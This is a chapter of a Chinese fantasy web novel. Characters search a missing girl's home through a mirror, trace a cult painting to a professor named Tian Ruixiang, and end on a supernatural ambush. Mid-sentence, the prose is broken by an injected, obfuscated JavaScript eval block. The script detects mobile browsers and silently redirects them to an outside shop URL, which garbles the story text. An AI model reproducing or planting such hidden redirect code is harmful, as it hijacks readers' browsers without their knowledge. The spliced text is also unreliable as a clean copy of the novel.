沈歆歆的家在一处十分老旧的小区,里头大部分年轻人不是搬走了,就是去外地工作成家了,只剩一些留守老人,在发黄发黑的楼宇中,透着腐朽之气。
趁着夜色浓重,南舟月和聂望舒通过镜子来到了沈歆歆家中,看看能不能发现点有用的东西。
意外的是,沈歆歆父母竟然不在家,屋里空无一人。
即使如此,他们也不敢开灯,只能拉上窗帘,用手电筒在屋里搜索,免得被外面的人发现。
沈歆歆家里面积不大,只有两个房间。看起来她应该是跟弟弟睡上下铺,屋里东西乱七八糟,显得十分逼仄。
在这种没有私人空间的地方,想藏点自己的东西,是很难的。
虽说屋里乱,但难保人家乱得有规律。他们翻找东西后,都尽量恢复原样,怪累人的。
南舟月心里嘀咕,“特工”这工作真不是人干的!
他们发现衣柜里已经没有沈歆歆的衣物,难道是被她带走了?
可随后南舟月就知道,不是这样的。沈歆歆,什么都没带走!
她的衣物以及个人物品,都被打包收纳在一个行李箱和大麻袋里。就好像,这个人很久都不会回来了一样。
以前南舟月开学的时候,南老太也会像这样把她的东西收起来,免得发霉积灰尘。
然后等她快放假了,又提前把东西拿出来洗洗晒晒。她回家时,衣服被褥,都透着干干净净的气息。
但她有强烈的感觉,沈歆歆的父母,并不是这样的想法。
他们就像终于可以给儿子腾出更多的地方似的,一股脑地把沈歆歆的东西塞起来。衣服袖子和裤子纠缠在一起,拉扯得乱七八糟!
南舟月叹了口气,谁说没有父母是不爱孩子的?那就不会有那么多重男轻女、抛弃女婴的父母了!
聂望舒:“怎么了?唉声叹气的。”
南舟月摇了摇头:“就是可怜歆歆,遇上这么一对父母,这些年都是怎么过来的!”
聂望舒一直都很不能理解那些重男轻女的父母,都是自己生下的骨肉,是男是女,又不是孩子自己决定的。尤其是那些恨自己女儿的母亲,更是莫名其妙得可悲。
“原生家庭不是自己能选择的,还好,她认识了你们,一定会没事的。”
南舟月没说话,真的会没事吗?异乡人,会放过她吗?
他们又摸进了沈歆歆父母的房间,手电光扫过床头,又扫了回去。
南舟月的手电光对准了床头上方的一幅画,正常来说,那个位置不是挂着结婚照,就是一些装饰画之类的。
可这幅画,打眼望去,便透着一股诡异!
崩裂的天空,四散的沙石,还有吃力飞天的女娲。
乍一看,这是一幅女娲补天的画。
可怪异的是,女娲所在的这片天地所占的篇幅极小。重点反而是在天的另一边,那里金光闪烁,有无数双手,正试图撕裂天空!
南舟月不由吐槽:“这画的什么玩意儿,看着怪恶心的!这东西挂在头顶,不怕做恶梦吗?”
然而聂望舒没有玩笑的心思,拿出手机把画拍了下来,神色略显凝重:“这就是,异乡人的信仰。天的另一边,才是他们向往的地方!”
“那应该把他们都丢到太空去当垃圾,给地球除害!”
聂望舒被她逗笑:“那太空垃圾可太多了,太空也挺累的。”
“嗯?这是……”
南舟月靠近那幅画,举着手电筒去照画的右下角,那里有一个像署名一样的标志。
就像她喜欢在自己的画上留下月牙标志一样,这幅画的作者,显然也留下了自己的痕迹。
那图案,看着像一片祥云,很是眼熟!
南舟月拧着眉头:“好像在哪儿见过……”
突然,大门外传来钥匙开锁的声音,聂望舒立刻抓住她的手,低声道:“快走!”
南舟月带着他瞬间闪进了昆仑镜里,但他们没走,而且悄悄靠在主卧卫生间的镜子旁,听着外面的动静。
沈歆歆的父母沈洄和李妙玉回来了,李妙玉念念叨叨:“这臭小子咋还没回来,肯定又去泡网吧了,你快去找找!”
沈洄的声音很不耐烦:“累死了,要去你自己去,那么大人了丢不了!”
“啧!你这人,不干活的是你,喊累的也是你,你说说你除了瘫在那里,还能干点啥!”
“行了行了,啰里啰嗦的,我洗澡去了!”
李妙玉唉声叹气地嘀嘀咕咕:“但凡能有你弟半点本事,得到爷的器重,我们娘俩也不至于还住在这破地方!”
沈洄在卫生间里喊:“我的毛巾呢?”
“你的毛巾问你自己啊!难道在我脸上啊?”李妙玉骂骂咧咧地走去阳台,“自己把毛巾乱挂,找不着了就知道喊!”
南舟月在镜子里啧啧摇头:“这样的婚姻真可怕,猪一样的男人和保姆一样的女人,互相折磨,结了婚都这样吗?挺没意思的。”
“确实可怕,不过就上一辈的婚姻来说,这样的生活似乎是常态。其实,还是得看人。”
南舟月挑眉:“你是不是要说,你肯定不会这样,你跟别人不一样?”
聂望舒轻笑:“说什么都是没用的,真正互相尊重,平等看待对方的人,自然不会这样。”
“也是,说得再好听,都不如行动上的尊重。”
南舟月伸了个懒腰,不想再听他们家长里短:“走吧,这趟没白来。”
“刚才那幅画,你是不是有什么发现?”
“那个祥云标志,我想起来在哪儿见过了!画画的人,是一个大学教授,来过我们学校开讲座,是研究古神话的,叫田瑞祥。我见过他的笔记,上面有他画的一些草图,右下角就有这个标记!”
聂望舒很是振奋:“这么说,他很有可能是地位不低的异乡人!姓田,天?会不会跟天家人有关?”
“有这个可能!”
他们回到许怜松所在的酒店,许怜松和江岚清等了他们半天,见他们终于从镜子里钻出来,都松了口气。
许怜松:“怎么样怎么样?有没有歆歆的消息?”
南舟月摇摇头,跟他们说了一下那幅画的事。
许怜松挠头想了想:“田瑞祥?这名字,好像听歆歆提起过。”
南舟月眼睛一亮:“怎么说?”
“以前跟歆歆聊过不少她学校的事情,田瑞祥,就是在他们学校挂名的教授,偶尔给他们上上课。听说是个很爱讲故事的老头,挺受学生欢迎的。”
就这?聂望舒追问:“那沈歆歆跟他接触多吗?他们很熟?”
许怜松仔细回想:“歆歆不是擅长交际的人,据我所知,他们就是普通的师生关系。哦,对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16531475|178255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,歆歆说过,田瑞祥问过他们,相不相信……天外有天?”
聂望舒冷然一笑:“这个田瑞祥肯定是异乡人,没跑了!”
江岚清冲南舟月竖了个大拇指:“还是你们厉害,一出马就有线索了!”
南舟月双手叉腰,相当自豪的样子,看得许怜松都替她不好意思:“咱能稍微谦虚点么?”
聂望舒抿着嘴笑:“她的字典里好像没有这个词。”
许怜松对他态度缓和了点:“这话确实!”
“你们这么光明正大地说我坏话吗?哼!还是岚清姐知道夸我!对了姐,你工作不是很忙的么?怎么有空陪我哥跑这么远?”
南舟月这话题转得突然,江岚清都愣了一下,下意识瞥了许怜松一眼,神色不太自然:“我就是,正好休假。”
南舟月笑眯眯的:“这么正好呀!”
“干嘛干嘛?”许怜松拉上南舟月的兜帽,罩住她的脑袋,把她扒拉开,“这皮孩子还是没变,就喜欢捉弄人!”
南舟月扯下帽子摆弄自己一头乱毛:“哥,你终究还是暴露了重色轻友,不,轻妹的本性!”
“瞎说什么!”许怜松作势要去踹她,她赶紧往聂望舒身后躲。
聂望舒护崽子似的冲许怜松摆摆手:“冷静冷静……”
许怜松干咳了两声,把话题拉回来:“那接下来怎么办?去找田瑞祥?”
南舟月探出脑袋看向聂望舒:“他肯定不会承认的吧,来个严刑拷问?”
聂望舒扬了扬手机:“我跟炎长老说了,让他们做好准备,我们把田瑞祥带回聂家,不能再让他跑了!”
“那……”许怜松赶紧起身,“小月你,又要走了?”
南舟月拍了拍他的肩膀:“他们没我不行啊,我肯定得去看看。放心,有什么消息,我马上告诉你。我去找你,也是一眨眼的事儿!”
许怜松点点头:“那也是,但你要悠着点啊,别老觉得自己天下无敌,到头来又搞一身伤!”
“知道啦知道啦!”
……
岚城市中心的豪华小区顶层,田瑞祥一手晃着红酒杯,一手拿着手机开免提。
“你妈身体怎么样了?”
“不怎么样……”
“放心,我会定时给你丹药的。”
对面沉默了一会儿:“那玩意儿就吊着她的命,也没见她醒过来啊!”
田瑞祥一声嗤笑:“你以为,让一个死人醒过来是件容易的事么?她现在还能喘气,就有希望!”
“你不回来看看她?”
“看不看的,有什么区别?别多想了,好好当你的少爷吧。”
田瑞祥把手机往沙发上一丢,谁知手机直接滑进了沙发缝隙里。他“啧”了一声,仰起头就把杯里的红酒一口闷了。
“真是糟蹋了这酒……”
突如其来的声音吓了田瑞祥一跳,他握着酒杯起身东张西望。
刚才,是谁在说话?那声音,空灵得像从山谷中传出来的,不像来自这个世界!
等了好一会儿,什么都没有发生。他揉了揉眉心,难道是喝了酒,产生幻听了?
他松了口气,往沙发上一瘫,天花板上祥云状的装饰镜倒映出他颓然的样子。
不知是不是错觉,那镜中倒影似乎变得越来越扭曲。而后,竟从镜中伸出一只手来!